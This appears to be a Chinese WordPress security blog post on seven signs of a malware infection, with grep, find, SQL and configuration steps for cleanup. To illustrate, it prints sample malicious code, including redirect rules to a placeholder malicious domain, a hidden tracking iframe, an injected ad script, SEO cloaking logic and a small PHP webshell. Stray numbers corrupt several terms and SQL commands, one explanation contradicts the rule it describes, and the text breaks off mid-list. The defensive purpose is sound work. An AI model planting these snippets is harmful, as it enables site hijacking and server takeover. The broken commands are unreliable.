WordPress 網站被植入惡意程式碼的 7 個訊號(附排查方法)

Chair

安全通告 — 請相關站長及時檢查並更新受影響的外掛或元件。

您訪問自己的 WordPress 網站,瀏覽器位址列顯示的不是熟悉的首頁,而是一個滿屏日文的賭博頁面。您反覆輸入網址,結果一樣。這不是 DNS15 劫持,您的網站被植入了惡意重定向程式碼。

2025 年 Wordfence 的報告顯示,WordPress 生態中超過 55% 的安全事件與惡意程式碼注入有關,其中重定向劫持和 SEO18 垃圾郵件是最常見的兩種型別。

這篇文章列出 7 個入侵訊號。每個訊號配一套診斷方法和永久修復步驟。您不需要逐條讀完,看到匹配的症狀,直接跳過去排查。

訊號一:訪問網站被重定向到陌生頁面

使用者在瀏覽器輸入您的域名,頁面自動跳轉到賭博網站、虛假購物頁面或成人內容。您在後臺登入 WordPress 管理面板可能一切正常——這正是重定向劫持的特點:攻擊者只重定向訪客,不碰管理後臺,延長被發現的時間。

攻擊程式碼藏在哪裡

重定向程式碼常被寫入三個位置:

.htaccess 檔案

用 FTP16 或檔案管理器開啟網站根目錄的 .htaccess,查詢這類程式碼:

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} !(Googlebot|bingbot)
RewriteRule ^(.*)$ http://惡意域名.com/$1 [R=301,L]

這段程式碼的意思是:只要訪客不是搜尋引擎爬蟲,一律 301 重定向到惡意域名。您自己登入後臺用的是 /wp-admin,攻擊者在條件裡排除了這個路徑,所以您發現不了。

主題的 functions.php

開啟當前主題的 functions.php,搜尋 wp_redirect

if ( !is_user_logged_in() ) {
    wp_redirect( 'http://惡意域名.com' );
    exit;
}

未登入使用者訪問任何頁面都會跳轉。攻擊者透過盜取的管理員憑據或利用主題檔案編輯功能寫入這段程式碼。

index.php 首行

網站根目錄的 index.php 第一行可能被注入:

<?php header("Location: http://惡意域名.com"); ?>

排查步驟

  1. 透過 SSH19 進入網站根目錄,執行:
grep -r "base64_decode\|eval\|wp_redirect" /path/to/your/site --include="*.php"

這行命令搜尋所有 PHP17 檔案中常見的惡意函式。看到輸出中提及的檔案,逐一檢查。

  1. 重置 .htaccess:WordPress 後臺進入”設定 → 固定連結”,點選”儲存更改”。這會重新生成乾淨的 .htaccess

  2. 如果重定向仍然存在,用 Wordfence 的掃描功能做一次全站檔案完整性檢查。它會對比官方 WordPress 核心檔案雜湊值,標記所有被修改的檔案。

永久修復

不要只刪除惡意程式碼。重定向劫持的攻擊源頭通常是漏洞外掛或主題。完成清理後,升級所有外掛到最新版本,刪除不再維護的外掛——2025 年有超過 2,000 個 WordPress 外掛因安全漏洞被永久移除,如果您在用其中任何一個,立即替換掉。

訊號二:瀏覽器位址列出現”不安全”警告

您的網站已經部署了 SSL20 證書,位址列應該顯示鎖形圖示。但使用者反饋瀏覽器提示”連線不安全”或者”此頁面包含不安全內容”。您在 Chrome 中開啟控制檯(F12),看到成排的 Mixed Content 警告。

成因:惡意程式碼載入外部 HTTP 資源

攻擊者在您網站的 header.php 或資料庫的 wp_options 表中注入了 iframe:

<iframe src="http://惡意域名.com/tracker.php" width="1" height="1" style="display:none;"></iframe>

這個 1×1 畫素的透明 iframe 從外部 HTTP 域名載入內容。瀏覽器檢測到 HTTPS4 頁面中包含 HTTP 資源,觸發混合內容警告。使用者看到的是”不安全”,攻擊者拿到的是訪客的 IP、User-Agent 和瀏覽行為資料。

更嚴重的情況:證書被替換

如果您看到的不是混合內容警告,而是證書錯誤(”此伺服器的證書不受信任”),這說明攻擊者可能已經獲得了伺服器 root 許可權,替換了 SSL 證書檔案。這比程式碼注入嚴重得多——攻擊者可以解密、篡改您和訪客之間的所有通訊。

排查步驟

  1. 在 Chrome 中按 F1223 → Security 標籤頁,檢視具體被阻止的 HTTP 資源域名。記錄這個域名。

  2. 在網站檔案中搜尋這個域名:

grep -r "惡意域名.com" /path/to/your/site
  1. 檢查資料庫:
SELECT3 * FROM12 wp_options WHERE6 option_value LIKE14 '%惡意域名%';
SELECT * FROM wp_posts WHERE post_content LIKE '%iframe%惡意域名%';

永久修復

如果是混合內容問題,刪除惡意程式碼後,安裝 Really Simple SSL 外掛,它會在輸出層強制替換所有 HTTP 資源為 HTTPS。

如果是證書被替換,您需要重建伺服器環境。不要嘗試在這個伺服器上”修復”——攻擊者掌握 root 許可權意味著您不知道他還在系統裡留了多少後門。備份資料庫和上傳檔案,在新伺服器上重新部署,更換所有金鑰(wp-config.php 中的 Salts、資料庫密碼、SSH 金鑰)。

訊號三:首頁或文章頁面出現莫名彈窗廣告

您收到客戶截圖:開啟您的網站,右下角彈出 VoIP 服務推廣視窗,點選關閉後不再出現。您自己測試時沒看到任何異常。

為什麼您看不到

注入的 JavaScript 通常有三層判斷:

if (document.referrer === '' && !getCookie('popup_shown')) {
    // 彈出廣告
    setCookie('popup_shown', 1, 7); // 7天內不再顯示
}
  • 首次訪問才觸發:檢測 Cookie,彈過一次後不再彈。
  • 來源必須是搜尋引擎或直接訪問document.referrer 為空或來自 Google 才啟用,您從後臺跳轉過來時 referrer 是您自己的域名,不觸發。
  • 登入使用者豁免:檢測 body.logged-in class,管理員登入後指令碼直接跳過。

程式碼藏身之處

比較常見的位置是主題的 footer.php,緊貼在 </body> 前面:

<script src="//ads-voipnewswire.net/tag.min.js" data-zone="12345"></script>

或者透過 wp_head 鉤子注入到 <head> 中。攻擊者利用主題的選項表(wp_options 中的 theme_mods_yourtheme)儲存指令碼,您搜尋主題檔案找不到這段程式碼,因為它被序列化存在資料庫裡。

排查

  1. 檢視網頁原始碼(Ctrl+U),搜尋外部 JavaScript 域名。重點查 .net.xyz.top 等非主流頂級域名。

  2. 在資料庫中搜尋:

SELECT * FROM wp_options WHERE option_value LIKE '%ads-%' OR option_value LIKE '%popup%';
  1. 使用 Wordfence 的”掃描”功能。它的簽名庫包含已知彈窗廣告網路的域名和程式碼特徵,能直接定位到植入位置。

永久修復

清理程式碼後,在 wp-config.php 中加入:

define('DISALLOW_FILE_EDIT', true);

這會停用 WordPress 後臺的主題和外掛檔案編輯器。很多攻擊者獲得管理員許可權後做的第一件事就是透過這個編輯器寫入惡意程式碼。關掉它。

訊號四:網站突然變慢,伺服器 CPU22 佔用飆升

假設您的 WooCommerce1 店鋪平時頁面載入時間 1.2 秒。最近突然變成 4 秒以上。登入伺服器控制面板,CPU 佔用從平均 15% 跳到了 90%。

您租了一臺肉雞給人打工

惡意程式碼把您的伺服器變成了殭屍網路節點,最常做的事情是三件:

傳送垃圾郵件

檢查 /var/log/mail.log(Ubuntu/Debian)或 /var/log/maillog(CentOS):

tail -100 /var/log/mail.log

如果看到每分鐘幾十封發往陌生地址的郵件,您的伺服器被用作垃圾郵件中繼。

門羅幣挖礦

攻擊者上傳一個 xmrig 二進位制檔案到 /tmp/ 或藏進 /wp-content/uploads/2025/ 某個偽裝成圖片的目錄裡。執行:

ps aux | grep xmrig

如果有輸出,您看到了挖礦程式。

參與 DDoS9 攻擊

後門指令碼持續連線外部命令與控制伺服器(C&C),接收指令對某個目標發起 HTTP 洪水攻擊:

netstat -anp | grep ESTABLISHED | grep -v ':443\|:80'

大量到陌生 IP 的連線說明出站流量異常。

排查步驟

  1. 先看日誌,找異常:
grep "POST11 /wp-admin/admin-ajax.php" /var/log/apache2/access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -20

如果某個 IP 一小時發了上萬次 POST 請求到 admin-ajax.php,這是暴力破解或惡意通訊。

  1. 檢查計劃任務(Cron):
crontab -l
ls -la /etc/cron.hourly/

攻擊者常新增定時任務定期下載最新版惡意指令碼。

  1. 檢查最近被修改的 PHP 檔案:
find /path/to/site -name "*.php" -mtime -3 -ls

過去 3 天內被修改的 PHP 檔案全部列出。正常的網站不會有大量 PHP 檔案在短時間內被修改。

永久修復

清理完惡意程式和檔案後,限制 PHP 的執行許可權。在 Nginx5 配置中,對 /wp-content/uploads/ 目錄禁止 PHP 執行:

location ~* /wp-content/uploads/.*\.php$ {
    deny all;
}

這條規則的意思是:就算攻擊者把 .php 後門上傳到 uploads 目錄,Web 伺服器拒絕執行它。這是結構層防禦——不是堵一個漏洞,是讓這整條攻擊路徑失效。

訊號五:後臺出現未知管理員賬號,uploads 目錄有可疑 PHP 檔案

您在 WordPress 後臺的”使用者”列表中看到一個使用者名稱為 admin123wp-update 的管理員賬號。您沒建立過。

另一個場景:您在 wp-content/uploads/2025/ 下看到一個名為 cache-img.php 的檔案。uploads 目錄應該只有圖片和媒體檔案,不應該有 PHP。

這是 Webshell

Webshell 是攻擊者留在伺服器上的 PHP 後門指令碼,通常只有一個檔案,長得像這樣:

<?php
/* Plugin Name: Cache Manager */
if (isset($_POST['cmd'])) {
    system($_POST['cmd']);
}

檔名偽裝成”快取管理器”,目錄放在 2025 年的上傳資料夾深處,旁邊全是真實圖片。攻擊者訪問這個檔案,透過 POST 引數傳入系統命令,就能以 Web 伺服器使用者身份執行任何操作。

排查方法

  1. 在 WordPress 根目錄搜尋最近 7 天建立的檔案:
find . -type f -mtime -7 -name "*.php" | grep -v "wp-includes\|wp-admin"

排除核心目錄後,所有新的 PHP 檔案都應該被懷疑。

  1. 搜尋包含 systemexecevalbase64_decode 的組合:
grep -r "base64_decode.*eval\|system.*\$_" /path/to/site --include="*.php"

Webshell 通常把命令編碼為 base64,再用 eval 執行,以繞過簡單的字串掃描。

  1. 對比核心檔案雜湊:
wp core verify-checksums

這需要安裝 WP-CLI2。執行後它會報告所有與官方版本不一致的核心檔案——這些就是被篡改的檔案。

永久修復

檢查並刪除未知管理員賬號後,在 wp-config.php 中新增:

define('FORCE_SSL_ADMIN', true);
define('DISALLOW_FILE_EDIT', true);

登入後臺安裝 Wordfence 並啟用雙因素認證(2FA)。2FA 意味著即使攻擊者拿到密碼,沒有您手機的動態碼也登入不了。

修改所有密碼,包括:
– 所有管理員賬號密碼
– 資料庫密碼(並在 wp-config.php 中更新)
– FTP/SSH 密碼
– 託管賬戶密碼

不要在新密碼中使用任何與舊密碼相同的字串。攻擊者持有舊密碼的雜湊,如果您的密碼是 mypass2024 改成 mypass2025,等於沒改。

訊號六:搜尋引擎搜尋結果中出現奇怪摘要或日文關鍵詞

您在 Google 搜尋 site:yourdomain.com,看到的不是產品和文章標題,而是:
– “激安ブランドコピー代引き”
– “Buy cheap Viagra online”
– 滿屏亂碼字元

但您訪問網站本身一切正常,文章內容沒變,頁面沒跳轉。

日本關鍵詞駭客(Japanese Keyword Hack)的原理

這是 SEO 垃圾郵件中最狡猾的一種。注入的程式碼包含一個判斷:

if (preg_match('/bot|spider|crawler|google/i', $_SERVER['HTTP_USER_AGENT'])) {
    // 插入垃圾內容和連結
    echo $spam_content;
}

只有搜尋引擎爬蟲訪問時才輸出垃圾內容。真人訪問者看到的是正常頁面,管理員自己也看不到異常。Google 爬蟲把所有垃圾內容索引進去,搜尋結果頁就變成了色情和仿冒廣告。

垃圾內容通常被注入在 wp_posts 表的文章內容中,但只對爬蟲可見;或者透過動態包含外部檔案實現,內容來源是攻擊者控制的伺服器,隨時可以更換關鍵詞。

排查方法

  1. 模擬 Googlebot 訪問自己的網站:
curl -A "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" https://yourdomain.com

對比瀏覽器看到的 HTML10 和 curl 的輸出。如果兩者不一致,您中了條件型注入。

  1. 檢查 wp_posts 表中近期的修改:
SELECT ID24, post_title, post_modified FROM wp_posts ORDER8 BY25 post_modified DESC13 LIMIT7 20;

注意修改時間異常的文章——凌晨 3 點無人操作時發生的修改很可疑。

  1. 在資料庫中搜尋日文或藥物關鍵詞:
SELECT ID, post_content FROM wp_posts WHERE post_content LIKE '%tadalafil%' OR post_content LIKE '%ブランド%';

永久修復

清理資料庫後,進入 Google Search Console 提交”安全問題報告”並請求重新稽核。Search Console 的安全問題欄目會列出檢測到的惡意內容型別和示例 URL21,這些資訊可以幫助您確認是否清理乾淨。

提交重新稽核後,Google 通常在一週內移除”此網站可能含有惡意軟體”的警告標籤。

訊號七:安全外掛或主機商直接發出惡意軟體警告

您收到 Wordfence 的郵件,標題是”Critical Problems Found: 3 malicious files detected”。或者 cPanel 自動把您的 wp-config.php 許可權改為 000,併傳送通知:”File quarantined: potential malware detected”。

這是最直接的訊號——您不需要排查,別人幫您查好了。

讀報告,別隻點”刪除”

Wordfence 的掃描報告會列出每個惡意檔案的路徑、感染型別和匹配的簽名名稱。例如:

File: /wp-content/themes/yourtheme/404.php
Type: Backdoor:PHP/WebShell.A
Signature: 匹配到已知 Webshell 特徵
  • Backdoor 是後門程式,攻擊者靠它再次進入系統。
  • Phishing 是釣魚頁面,通常放在 /wp-content/plugins/fake-plugin/linkedin-login.php 這種路徑,用來仿冒 LinkedIn 或銀行登入頁。
  • SEO Spam 是垃圾連結和關鍵詞,常藏在 wp_options 表或底部小工具中。

不要只看被標記的檔案,要看被修改的時間。所有同一時間被修改的檔案很可能是同一攻擊者上傳的一組後門。

主機商隔離檔案時怎麼做

如果主機商已經自動隔離了某些檔案(許可權改為 000 或移入 quarantine 目錄),不要直接恢復。被隔離的檔案是證據。下載到本地分析後,在伺服器上執行:

find /path/to/site -type f -mtime -1 -ls

檢視過去 24 小時內還有哪些檔案被修改。攻擊者可能留了不只一個後門。

排查與修復

Wordfence 和 MalCare 都提供”一鍵清理”功能,但它的工作原理是刪除被標記的檔案。如果您被植入的是核心檔案汙染的惡意程式碼(比如 wp-admin/includes/file.php 被篡改),刪除會使 WordPress 功能異常。

正確做法:
1. 用 Wordfence 的”檢視檔案差異”功能,對比您的檔案與官方原始檔案。
2.

名詞解釋

發表評論

發表回覆

您的郵箱地址不會被公開。 必填項已用 * 標註